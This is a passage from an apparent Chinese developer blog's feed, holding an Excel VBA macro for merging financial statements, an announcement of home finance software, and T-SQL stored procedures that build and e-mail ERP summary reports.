amp;&nbsp;a)&nbsp;&#39;&nbsp;&nbsp;年初余额<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;If<br/>&nbsp;&nbsp;&nbsp;&nbsp;Next<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;For&nbsp;a&nbsp;=&nbsp;6&nbsp;To&nbsp;38<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;a&nbsp;&lt;&gt;&nbsp;19&nbsp;And&nbsp;a&nbsp;&lt;&gt;&nbsp;28&nbsp;And&nbsp;a&nbsp;&lt;&gt;&nbsp;29&nbsp;And&nbsp;a&nbsp;&lt;&gt;&nbsp;37&nbsp;Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sheets(i).Range(&#34;g&#34;&nbsp;&amp;&nbsp;a)&nbsp;=&nbsp;Sheets(i).Range(&#34;g&#34;&nbsp;&amp;&nbsp;a)&nbsp;+&nbsp;Workbooks(dirname).Sheets(i).Range(&#34;g&#34;&nbsp;&amp;&nbsp;a)&nbsp;&#39;&nbsp;&nbsp;期末余额<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sheets(i).Range(&#34;h&#34;&nbsp;&amp;&nbsp;a)&nbsp;=&nbsp;Sheets(i).Range(&#34;h&#34;&nbsp;&amp;&nbsp;a)&nbsp;+&nbsp;Workbooks(dirname).Sheets(i).Range(&#34;h&#34;&nbsp;&amp;&nbsp;a)&nbsp;&#39;&nbsp;&nbsp;年初余额<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;If<br/>&nbsp;&nbsp;&nbsp;&nbsp;Next<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;ElseIf&nbsp;Workbooks(dirname).Sheets(i).Name&nbsp;=&nbsp;&#34;利润表&#34;&nbsp;Then&nbsp;&#39;利润表的修正<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;For&nbsp;a&nbsp;=&nbsp;6&nbsp;To&nbsp;26<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;a&nbsp;&lt;&gt;&nbsp;15&nbsp;And&nbsp;a&nbsp;&lt;&gt;&nbsp;19&nbsp;And&nbsp;a&nbsp;&lt;&gt;&nbsp;21&nbsp;Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sheets(i).Range(&#34;c&#34;&nbsp;&amp;&nbsp;a)&nbsp;=&nbsp;Sheets(i).Range(&#34;c&#34;&nbsp;&amp;&nbsp;a)&nbsp;+&nbsp;Workbooks(dirname).Sheets(i).Range(&#34;c&#34;&nbsp;&amp;&nbsp;a)&nbsp;&#39;&nbsp;&nbsp;本月<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sheets(i).Range(&#34;d&#34;&nbsp;&amp;&nbsp;a)&nbsp;=&nbsp;Sheets(i).Range(&#34;d&#34;&nbsp;&amp;&nbsp;a)&nbsp;+&nbsp;Workbooks(dirname).Sheets(i).Range(&#34;d&#34;&nbsp;&amp;&nbsp;a)&nbsp;&#39;&nbsp;&nbsp;累计<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;If<br/>&nbsp;&nbsp;&nbsp;&nbsp;Next<br/>&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;End&nbsp;If<br/>&nbsp;&nbsp;End&nbsp;With<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;Next<br/>&nbsp;<br/>&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Workbooks(dirname).Close&nbsp;False<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;If<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dirname&nbsp;=&nbsp;Dir<br/>&nbsp;&nbsp;&nbsp;&nbsp;Loop<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MsgBox&nbsp;&#34;恭喜全部合并成功！&#34;,&nbsp;64&nbsp;+&nbsp;0,&nbsp;&#34;温馨提示&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>End&nbsp;Sub<br/><br/><br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.dbsun.com/default.asp?id=162" /> 
	  <id>http://www.dbsun.com/default.asp?id=162</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[[原创]EasyMoney 家庭财务软件v1.0 新鲜出炉~~~]]></title>
	  <author>
		 <name>zilong</name>
		 <uri>http://www.dbsun.com/</uri>
		 <email>dbmaster@163.com</email>
	  </author>
	  <category term="" scheme="http://www.dbsun.com/default.asp?cateID=5" label="ASP.NET" /> 
	  <updated>2008-12-05T16:53:51+08:00</updated>
	  <published>2008-12-05T16:53:51+08:00</published>
		  <summary type="html"><![CDATA[EasyMoney&nbsp;财务软件使用帮助<br/>EasyMoney&nbsp;财务软件使用帮助...&nbsp;1<br/><br/>前言：系统概述...&nbsp;1<br/><br/>一：注册一个用户名...&nbsp;1<br/><img src="http://www.dbsun.com/attachments/month_0812/i2008128105950.jpg" border="0" alt=""/><br/><br/><img src="http://www.dbsun.com/attachments/month_0812/r2008125165611.jpg" border="0" alt=""/><br/>二：登陆系统，登陆后将进入主界面...&nbsp;2<br/><br/><br/><br/><img src="http://www.dbsun.com/attachments/month_0812/l2008125165619.jpg" border="0" alt=""/><br/><br/>三：添加/修该报销人...&nbsp;2<br/><br/><br/><img src="http://www.dbsun.com/attachments/month_0812/42008125165624.jpg" border="0" alt=""/><br/>四：添加/修改费用类别...&nbsp;3<br/><br/><img src="http://www.dbsun.com/attachments/month_0812/e2008125165629.jpg" border="0" alt=""/><br/><br/>五：添加收入/支出...&nbsp;3<br/><br/><br/><img src="http://www.dbsun.com/attachments/month_0812/i2008125165633.jpg" border="0" alt=""/><br/>六：查看统计...&nbsp;3<br/><br/>1：查看所有明细...&nbsp;4<br/><br/><img src="http://www.dbsun.com/attachments/month_0812/q2008125165637.jpg" border="0" alt=""/><br/>2：查看月份统计...&nbsp;4<br/><br/><img src="http://www.dbsun.com/attachments/month_0812/z2008125165642.jpg" border="0" alt=""/><br/>3：查看饼图...&nbsp;5<br/><br/><img src="http://www.dbsun.com/attachments/month_0812/g2008125165645.jpg" border="0" alt=""/><br/>4：查看柱状图...&nbsp;5<br/><br/><img src="http://www.dbsun.com/attachments/month_0812/u2008125165650.jpg" border="0" alt=""/><br/>5：查看趋势图...&nbsp;6<br/><br/><img src="http://www.dbsun.com/attachments/month_0812/32008125165654.jpg" border="0" alt=""/><br/><br/>本系统可以为家庭提供有效理财管理，并形成各种报表图形以直观分析数据提高决策依据。有兴趣使用的朋友可以联系我,有改进建议的朋友也欢迎联系我。<br/><br/>&nbsp;&nbsp;联系QQ：153560261&nbsp;&nbsp;紫龙<br/><br/>&nbsp;&nbsp;邮箱：dbmaster@163.com<br/><br/>&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;作者：杨闽&nbsp;&nbsp;2008-12-5<br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.dbsun.com/default.asp?id=161" /> 
	  <id>http://www.dbsun.com/default.asp?id=161</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[ErpReport 自动发送邮件所使用SQL ]]></title>
	  <author>
		 <name>zilong</name>
		 <uri>http://www.dbsun.com/</uri>
		 <email>dbmaster@163.com</email>
	  </author>
	  <category term="" scheme="http://www.dbsun.com/default.asp?cateID=5" label="ASP.NET" /> 
	  <updated>2008-12-02T10:02:06+08:00</updated>
	  <published>2008-12-02T10:02:06+08:00</published>
		  <summary type="html"><![CDATA[--****************************<br/>--***开发人：杨闽　2008.11.30<br/>--***功能：ErpReport自动发送信件给各部门经理<br/>--***************************<br/><br/><br/>--使用数据库<br/>use&nbsp;aspnetdb<br/>go<br/>--1:建立日志表<br/>IF&nbsp;EXISTS(Sel&#101;ct&nbsp;*&nbsp;from&nbsp;SYSOBJECTS&nbsp;Wh&#101;re&nbsp;NAME=&#39;zlog&#39;)<br/>&#160;&#160;&#160;&#160;dro&#112;&nbsp;table&nbsp;zlog&nbsp;&nbsp;--若存在REPORTCONFIG表，则先删除<br/>GO<br/>cr&#101;ate&nbsp;table&nbsp;zlog<br/>(<br/>id&nbsp;int&nbsp;identity(1,1)&nbsp;primary&nbsp;key,<br/>type&nbsp;int,--１失败，０成功<br/>eventName&nbsp;varchar(100),--事件名<br/>msg&nbsp;varchar(200),--具体信息<br/>dt&nbsp;datetime,--日志时间<br/>)<br/><br/><br/>ins&#101;rt&nbsp;into&nbsp;zlog(type,eventName,msg,dt)&nbsp;values(1,&#39;事件名称&#39;,&#39;事件信息&#39;,getdate())<br/>go<br/>sel&#101;ct&nbsp;*&nbsp;from&nbsp;zlog<br/>go<br/><br/><br/><br/>--2：创建配置表<br/>IF&nbsp;EXISTS(Sel&#101;ct&nbsp;*&nbsp;from&nbsp;SYSOBJECTS&nbsp;Wh&#101;re&nbsp;NAME=&#39;REPORTCONFIG&#39;)<br/>&#160;&#160;&#160;&#160;dro&#112;&nbsp;table&nbsp;REPORTCONFIG&nbsp;&nbsp;--若存在REPORTCONFIG表，则先删除<br/>GO<br/>cr&#101;ate&nbsp;table&nbsp;REPORTCONFIG<br/>(<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Autocode&nbsp;int&nbsp;identity(1,1)&nbsp;primary&nbsp;key,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;--自动增长ID<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;REPORTNAME&nbsp;varchar(20),&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&nbsp;--报表名<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PARAMATERS&nbsp;varchar(20),--参数中文<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PARAM_VALUE&nbsp;varchar(20),--参数<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ztype&nbsp;int&nbsp;default&nbsp;0,--是否汇总<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DISPLAY_ORDER&nbsp;int,--显示顺序<br/>)<br/>--测试ZL0119报表<br/>ins&#101;rt&nbsp;into&nbsp;REPORTCONFIG(REPORTNAME,PARAMATERS,PARAM_VALUE,DISPLAY_ORDER,ztype)<br/>&nbsp;&nbsp;values(&#39;ZL0119&#39;,&#39;报表名称&#39;,&#39;ZL0119&#39;,1,0)<br/>ins&#101;rt&nbsp;into&nbsp;REPORTCONFIG(REPORTNAME,PARAMATERS,PARAM_VALUE,DISPLAY_ORDER,ztype)<br/>&nbsp;&nbsp;values(&#39;ZL0119&#39;,&#39;日期&#39;,&#39;INQUIRY_DATE&#39;,2,3)<br/>ins&#101;rt&nbsp;into&nbsp;REPORTCONFIG(REPORTNAME,PARAMATERS,PARAM_VALUE,DISPLAY_ORDER,ztype)<br/>&nbsp;&nbsp;values(&#39;ZL0119&#39;,&#39;汇总字段&#39;,&#39;STOCK_Q&nbsp;&#39;,3,1)<br/>ins&#101;rt&nbsp;into&nbsp;REPORTCONFIG(REPORTNAME,PARAMATERS,PARAM_VALUE,DISPLAY_ORDER,ztype)<br/>&nbsp;&nbsp;values(&#39;ZL0119&#39;,&#39;分类字段&#39;,&#39;MSEHL&#39;,4,2)<br/>ins&#101;rt&nbsp;into&nbsp;REPORTCONFIG(REPORTNAME,PARAMATERS,PARAM_VALUE,DISPLAY_ORDER,ztype)<br/>&nbsp;&nbsp;values(&#39;ZL0119&#39;,&#39;汇总字段&#39;,&#39;stock_m&#39;,5,1)<br/>ins&#101;rt&nbsp;into&nbsp;REPORTCONFIG(REPORTNAME,PARAMATERS,PARAM_VALUE,DISPLAY_ORDER,ztype)<br/>&nbsp;&nbsp;values(&#39;ZL0119&#39;,&#39;分类字段&#39;,&#39;WAERS&#39;,6,2)<br/>ins&#101;rt&nbsp;into&nbsp;REPORTCONFIG(REPORTNAME,PARAMATERS,PARAM_VALUE,DISPLAY_ORDER,ztype)<br/>&nbsp;&nbsp;values(&#39;ZL0119&#39;,&#39;部门&#39;,&#39;ekorg&#39;,7,4)<br/>--ins&#101;rt&nbsp;into&nbsp;REPORTCONFIG(REPORTNAME,PARAMATERS,PARAM_VALUE,DISPLAY_ORDER,ztype)<br/>--&nbsp;&nbsp;values(&#39;ZL0119&#39;,&#39;排序字段&#39;,&#39;matnr&#39;,8,5)--其实都应该是分类字段<br/>--ins&#101;rt&nbsp;into&nbsp;REPORTCONFIG(REPORTNAME,PARAMATERS,PARAM_VALUE,DISPLAY_ORDER,ztype)<br/>--&nbsp;&nbsp;values(&#39;ZL0119&#39;,&#39;分类字段&#39;,&#39;matnr&#39;,9,2)<br/>ins&#101;rt&nbsp;into&nbsp;REPORTCONFIG(REPORTNAME,PARAMATERS,PARAM_VALUE,DISPLAY_ORDER,ztype)<br/>&nbsp;&nbsp;values(&#39;ZL0119&#39;,&#39;分类字段&#39;,&#39;eknam&#39;,10,2)<br/>ins&#101;rt&nbsp;into&nbsp;REPORTCONFIG(REPORTNAME,PARAMATERS,PARAM_VALUE,DISPLAY_ORDER,ztype)<br/>&nbsp;&nbsp;values(&#39;ZL0119&#39;,&#39;分类字段&#39;,&#39;ekotx&#39;,11,2)<br/><br/>--&nbsp;Up&#100;ate&nbsp;ZL0119&nbsp;SET&nbsp;MSEHL&nbsp;=&nbsp;&nbsp;ZL0119.MEINS<br/><br/>--测试ZL0088报表&nbsp;<br/>ins&#101;rt&nbsp;into&nbsp;REPORTCONFIG(REPORTNAME,PARAMATERS,PARAM_VALUE,DISPLAY_ORDER,ztype)<br/>&nbsp;&nbsp;values(&#39;ZL0088&#39;,&#39;报表名称&#39;,&#39;ZL0088&#39;,1,0)<br/>ins&#101;rt&nbsp;into&nbsp;REPORTCONFIG(REPORTNAME,PARAMATERS,PARAM_VALUE,DISPLAY_ORDER,ztype)<br/>&nbsp;&nbsp;values(&#39;ZL0088&#39;,&#39;日期&#39;,&#39;SQL_DATE&#39;,2,3)<br/>ins&#101;rt&nbsp;into&nbsp;REPORTCONFIG(REPORTNAME,PARAMATERS,PARAM_VALUE,DISPLAY_ORDER,ztype)<br/>&nbsp;&nbsp;values(&#39;ZL0088&#39;,&#39;汇总字段&#39;,&#39;ZMENG&nbsp;&#39;,3,1)<br/>ins&#101;rt&nbsp;into&nbsp;REPORTCONFIG(REPORTNAME,PARAMATERS,PARAM_VALUE,DISPLAY_ORDER,ztype)<br/>&nbsp;&nbsp;values(&#39;ZL0088&#39;,&#39;分类字段&#39;,&#39;MEINS&#39;,4,2)<br/>ins&#101;rt&nbsp;into&nbsp;REPORTCONFIG(REPORTNAME,PARAMATERS,PARAM_VALUE,DISPLAY_ORDER,ztype)<br/>&nbsp;&nbsp;values(&#39;ZL0088&#39;,&#39;汇总字段&#39;,&#39;KZWI5&#39;,5,1)<br/>ins&#101;rt&nbsp;into&nbsp;REPORTCONFIG(REPORTNAME,PARAMATERS,PARAM_VALUE,DISPLAY_ORDER,ztype)<br/>&nbsp;&nbsp;values(&#39;ZL0088&#39;,&#39;分类字段&#39;,&#39;WAERC&#39;,6,2)<br/>ins&#101;rt&nbsp;into&nbsp;REPORTCONFIG(REPORTNAME,PARAMATERS,PARAM_VALUE,DISPLAY_ORDER,ztype)<br/>&nbsp;&nbsp;values(&#39;ZL0088&#39;,&#39;部门&#39;,&#39;VKBUR&#39;,7,4)<br/><br/><br/><br/>go<br/><br/><br/>sel&#101;ct&nbsp;autocode,reportname,paramaters,param_value,display_order&nbsp;<br/>from&nbsp;REPORTCONFIG&nbsp;wh&#101;re&nbsp;reportname&nbsp;=&nbsp;&#39;zl0119&#39;&nbsp;<br/>o&#114;der&nbsp;by&nbsp;ztype<br/>go<br/><br/>&nbsp;<br/><br/>sel&#101;ct&nbsp;convert(varchar(10),getdate()+1,120)&nbsp;&nbsp;<br/><br/>&nbsp;sel&#101;ct&nbsp;id,report,email,username,department,organization&nbsp;from&nbsp;subscribe<br/>GO<br/><br/>sel&#101;ct&nbsp;*&nbsp;from&nbsp;subscribe&nbsp;&nbsp;&nbsp;wh&#101;re&nbsp;id&nbsp;=&nbsp;1<br/>go<br/>sel&#101;ct&nbsp;splitcolumn&nbsp;&nbsp;from&nbsp;[dbo].[z_split](&nbsp;<br/>&#39;ZL0079,ZL0119&#39;&nbsp;,&#39;,&#39;<br/>)&nbsp;<br/>&nbsp;<br/><br/>&nbsp;<br/>--sel&#101;ct&nbsp;splitcolumn&nbsp;&nbsp;from&nbsp;[z_split](@str,&#39;,&#39;)&nbsp;<br/><br/>dro&#112;&nbsp;procedure&nbsp;ZREAD_MAILliST_one<br/>go<br/><br/>--调用一个经理&nbsp;所看内容&nbsp;的存储过程<br/>cr&#101;ate&nbsp;procedure&nbsp;ZREAD_MAILliST_one<br/>@userName&nbsp;varchar(20)<br/>as<br/><br/>--1：取得报表名称&nbsp;和部门名称<br/>declare&nbsp;@str&nbsp;varchar(2000)<br/>set&nbsp;@str&nbsp;=&nbsp;&#39;&#39;<br/>declare&nbsp;@ekorgs&nbsp;varchar(200)<br/>set&nbsp;@ekorgs&nbsp;=&nbsp;&#39;&#39;<br/><br/>sel&#101;ct&nbsp;@str&nbsp;=&nbsp;report,@ekorgs&nbsp;=&nbsp;department&nbsp;from&nbsp;subscribe&nbsp;&nbsp;&nbsp;&nbsp;wh&#101;re&nbsp;username&nbsp;=&nbsp;@userName<br/>print&nbsp;@str<br/>print&nbsp;@ekorgs<br/>--2：取得<br/><br/>----------<br/>declare&nbsp;&nbsp;&nbsp;@report_name&nbsp;varchar(20)<br/>&nbsp;set&nbsp;@report_name&nbsp;=&nbsp;&#39;&#39;<br/>declare&nbsp;zread_report&nbsp;cursor&nbsp;for<br/>sel&#101;ct&nbsp;splitcolumn&nbsp;&nbsp;from&nbsp;[z_split](@str,&#39;,&#39;)&nbsp;<br/><br/>open&nbsp;zread_report&nbsp;<br/><br/>fetch&nbsp;next&nbsp;from&nbsp;zread_report&nbsp;<br/>into&nbsp;@report_name<br/>WHILE&nbsp;@@FETCH_STATUS&nbsp;=&nbsp;0&nbsp;<br/>BEGIN&nbsp;<br/><br/>--调用子存储过程<br/>exec&nbsp;zpro_sql_sum&nbsp;&nbsp;@report_name,&nbsp;@ekorgs<br/><br/><br/>fetch&nbsp;next&nbsp;from&nbsp;zread_report<br/>into&nbsp;@report_name<br/>end<br/>--print&nbsp;@str_all<br/><br/>CLOSE&nbsp;zread_report<br/>DEALLOCATE&nbsp;zread_report<br/><br/>--执行发某一个用户EMAIL的存储过程<br/>exec&nbsp;ZREAD_MAILliST_one&nbsp;&#39;张三&#39;<br/><br/><br/><br/>--exec&nbsp;(@str_all)<br/><br/><br/>--调用子存储过程<br/>--exec&nbsp;zpro_sql_sum&nbsp;&nbsp;&#39;ZL0119&#39;,&nbsp;&#39;1010,1000&#39;<br/><br/><br/><br/><br/>&nbsp;<br/><br/><br/>--字段名，表名，数据库名之类作为变量时，必须用动态SQL&nbsp;<br/>--eg:&nbsp;<br/>declare&nbsp;@fname&nbsp;varchar(20)&nbsp;<br/>set&nbsp;@fname&nbsp;=&nbsp;&#39;[name]&#39;&nbsp;<br/>--Sel&#101;ct&nbsp;@fname&nbsp;from&nbsp;sysobjects&nbsp;--&nbsp;错误&nbsp;<br/>Exec(&#39;sel&#101;ct&nbsp;&#39;&nbsp;+&nbsp;@fname&nbsp;+&nbsp;&#39;&nbsp;from&nbsp;sysobjects&#39;)&nbsp;--&nbsp;请注意&nbsp;加号前后的&nbsp;单引号的边上要加空格&nbsp;<br/>--exec&nbsp;sp_executesql&nbsp;N&#39;&nbsp;sel&#101;ct&nbsp;&#39;&nbsp;+&nbsp;@fname&nbsp;+&nbsp;&#39;&nbsp;from&nbsp;sysobjects&#39;&nbsp;<br/>--当然将字符串改成变量的形式也可&nbsp;<br/>declare&nbsp;@fname&nbsp;varchar(20)&nbsp;<br/>set&nbsp;@fname&nbsp;=&nbsp;&#39;[name]&#39;&nbsp;<br/>declare&nbsp;@s&nbsp;varchar(1000)&nbsp;<br/>set&nbsp;@s&nbsp;=&nbsp;&#39;sel&#101;ct&nbsp;&#39;&nbsp;+&nbsp;@fname&nbsp;+&nbsp;&#39;&nbsp;from&nbsp;sysobjects&#39;&nbsp;<br/>Exec(@s)&nbsp;--&nbsp;成功&nbsp;<br/>--exec&nbsp;sp_executesql&nbsp;@s&nbsp;--&nbsp;此句会报错&nbsp;<br/><br/>declare&nbsp;@s&nbsp;Nvarchar(1000)&nbsp;--&nbsp;注意此处改为nvarchar(1000)&nbsp;<br/>set&nbsp;@s&nbsp;=&nbsp;&#39;sel&#101;ct&nbsp;&#39;&nbsp;+&nbsp;@fname&nbsp;+&nbsp;&#39;&nbsp;from&nbsp;sysobjects&#39;&nbsp;<br/>Exec(@s)&nbsp;--&nbsp;成功&nbsp;<br/>exec&nbsp;sp_executesql&nbsp;@s&nbsp;--&nbsp;此句正确，&nbsp;<br/><br/><br/>&nbsp;<br/>&nbsp;<br/><br/><br/>----------------------------------------------------------------------------<br/>declare&nbsp;@s&nbsp;varchar(2000)<br/>set&nbsp;@s&nbsp;=&nbsp;&#39;ok&nbsp;ha&nbsp;ha!&#39;<br/>print&nbsp;@s<br/><br/><br/>Sel&#101;ct&nbsp;*&nbsp;FROM&nbsp;reportconfig&nbsp;wh&#101;re&nbsp;reportname&nbsp;=&nbsp;&#39;ZL0119&#39;<br/><br/>------------------<br/>dro&#112;&nbsp;function&nbsp;z_cou1<br/>------------------------------------------------------------<br/>cr&#101;ate&nbsp;function&nbsp;z_cou1(@str_rptName&nbsp;varchar(20))<br/>RETURNS&nbsp;&nbsp;nvarchar(4000)<br/>as<br/>begin<br/><br/><br/>--------------<br/>declare&nbsp;@ps&nbsp;varchar(20),@pv&nbsp;varchar(20),@d&nbsp;int,@str_all&nbsp;varchar(2000),@str_group_lin&nbsp;varchar(100),@str_date&nbsp;varchar(40)<br/>set&nbsp;@str_all&nbsp;=&nbsp;&#39;&#39;<br/>set&nbsp;@str_group_lin&nbsp;=&nbsp;&#39;&#39;<br/>--set&nbsp;@str_date&nbsp;=&nbsp;getdate()&nbsp;-1<br/>declare&nbsp;zconfig_cur&nbsp;cursor&nbsp;for<br/>sel&#101;ct&nbsp;PARAMATERS,PARAM_VALUE,ztype&nbsp;from<br/>reportconfig&nbsp;wh&#101;re&nbsp;reportname&nbsp;=&nbsp;&#39;ZL0119&#39;&nbsp;AND&nbsp;PARAMATERS&nbsp;&lt;&gt;&nbsp;&#39;报表名称&#39;<br/>open&nbsp;zconfig_cur&nbsp;<br/><br/>fetch&nbsp;next&nbsp;from&nbsp;zconfig_cur&nbsp;<br/>into&nbsp;@ps,@pv,@d<br/>WHILE&nbsp;@@FETCH_STATUS&nbsp;=&nbsp;0&nbsp;<br/>BEGIN&nbsp;<br/>--print&nbsp;@pv<br/>--print&nbsp;&#39;ok-begin&#39;<br/>if&nbsp;@d&nbsp;=&nbsp;3<br/>set&nbsp;@str_date&nbsp;=&nbsp;&#39;convert(varchar(10),getdate()-1,120)&nbsp;&#39;<br/><br/><br/>if&nbsp;@d&nbsp;=&nbsp;2<br/>--set&nbsp;@str_all&nbsp;=&nbsp;@str_all&nbsp;+&nbsp;@pv&nbsp;+&nbsp;&#39;,&#39;<br/>set&nbsp;@str_group_lin&nbsp;&nbsp;=&nbsp;@str_group_lin&nbsp;&nbsp;+&nbsp;@pv&nbsp;+&nbsp;&#39;,&#39;<br/>--print&nbsp;@str_all<br/><br/>if&nbsp;@d&nbsp;=&nbsp;1<br/>set&nbsp;@str_all&nbsp;=&nbsp;@str_all&nbsp;+&nbsp;&#39;sum(&#39;+&nbsp;@pv&nbsp;+&nbsp;&#39;),&#39;<br/>--print&nbsp;@str_all<br/><br/>fetch&nbsp;next&nbsp;from&nbsp;zconfig_cur&nbsp;<br/>into&nbsp;@ps,@pv,@d<br/>end<br/>--print&nbsp;@str_all<br/><br/>CLOSE&nbsp;zconfig_cur<br/>DEALLOCATE&nbsp;zconfig_cur<br/><br/><br/>set&nbsp;@str_all&nbsp;=&nbsp;left(@str_all,(len(@str_all)-1))<br/>set&nbsp;@str_group_lin=&nbsp;left(@str_group_lin,(len(@str_group_lin)-1))<br/>set&nbsp;@str_all&nbsp;=&nbsp;&#39;sel&#101;ct&nbsp;&#39;&nbsp;+&nbsp;@str_all&nbsp;+&nbsp;&#39;&nbsp;from&nbsp;zl0119&nbsp;wh&#101;re&nbsp;convert(varchar(10),sql_date,120)&nbsp;=&nbsp;&#39;+&nbsp;@str_date&nbsp;+&#39;&nbsp;&nbsp;group&nbsp;by&nbsp;&#39;&nbsp;&nbsp;+&nbsp;@str_group_lin<br/>print&nbsp;@str_all<br/><br/>exec&nbsp;(@str_all)<br/><br/>--------<br/>sel&#101;ct&nbsp;sum(STOCK_Q&nbsp;),sum(stock_m)&nbsp;from&nbsp;zl0119&nbsp;wh&#101;re&nbsp;convert(varchar(10),sql_date,120)&nbsp;=&nbsp;convert(varchar(10),getdate()-2,120)&nbsp;&nbsp;&nbsp;group&nbsp;by&nbsp;MEINS,WAERS<br/><br/>return&nbsp;&nbsp;@str_all&nbsp;<br/><br/><br/><br/><br/><br/><br/>end<br/><br/>sel&#101;ct&nbsp;dbo.z_cou1(&#39;zl0119&#39;)<br/><br/>sel&#101;ct&nbsp;*&nbsp;from&nbsp;reportconfig<br/><br/>sel&#101;ct&nbsp;*&nbsp;from&nbsp;zl0119&nbsp;wh&#101;re&nbsp;convert(varchar(10),sql_date,120)&nbsp;&nbsp;&nbsp;=&nbsp;convert(varchar(10),getdate()-1,120)&nbsp;&nbsp;<br/><br/><br/>----<br/>dro&#112;&nbsp;procedure&nbsp;zpro_sql_sum<br/>GO<br/>--存储过程版本<br/>cr&#101;ate&nbsp;procedure&nbsp;zpro_sql_sum<br/>@reportName&nbsp;varchar(20),<br/>@ekorg&nbsp;varchar(300)<br/>as&nbsp;<br/><br/>--------------<br/>declare&nbsp;@ps&nbsp;varchar(20),@pv&nbsp;varchar(20),@d&nbsp;int,@str_all&nbsp;varchar(2000),@str_group_lin&nbsp;varchar(200),@str_date&nbsp;varchar(40)<br/>declare&nbsp;@par&nbsp;varchar(20),@str_orders&nbsp;varchar(200),@str_ekorg&nbsp;varchar(10)<br/>set&nbsp;@str_all&nbsp;=&nbsp;&#39;&#39;<br/>set&nbsp;@str_group_lin&nbsp;=&nbsp;&#39;&#39;<br/>set&nbsp;@str_orders&nbsp;=&nbsp;&#39;&#39;<br/>set&nbsp;@str_ekorg&nbsp;=&nbsp;&#39;&#39;<br/>--set&nbsp;@str_date&nbsp;=&nbsp;getdate()&nbsp;-1<br/>declare&nbsp;zconfig_cur&nbsp;cursor&nbsp;for<br/>sel&#101;ct&nbsp;PARAMATERS,PARAM_VALUE,ztype,PARAMATERS&nbsp;from<br/>reportconfig&nbsp;wh&#101;re&nbsp;reportname&nbsp;=&nbsp;@reportName&nbsp;AND&nbsp;PARAMATERS&nbsp;&lt;&gt;&nbsp;&#39;报表名称&#39;&nbsp;o&#114;DER&nbsp;BY&nbsp;DISPLAY_ORDER<br/>--reportconfig&nbsp;wh&#101;re&nbsp;reportname&nbsp;=&nbsp;&#39;ZL0119&#39;&nbsp;AND&nbsp;PARAMATERS&nbsp;&lt;&gt;&nbsp;&#39;报表名称&#39;<br/><br/>open&nbsp;zconfig_cur&nbsp;<br/><br/><br/>fetch&nbsp;next&nbsp;from&nbsp;zconfig_cur&nbsp;<br/>into&nbsp;@ps,@pv,@d,@par<br/>WHILE&nbsp;@@FETCH_STATUS&nbsp;=&nbsp;0&nbsp;<br/>BEGIN&nbsp;<br/><br/><br/>--if&nbsp;@d&nbsp;=&nbsp;3<br/>if&nbsp;@par&nbsp;=&nbsp;&#39;日期&#39;<br/>set&nbsp;@str_date&nbsp;=&nbsp;&#39;convert(varchar(10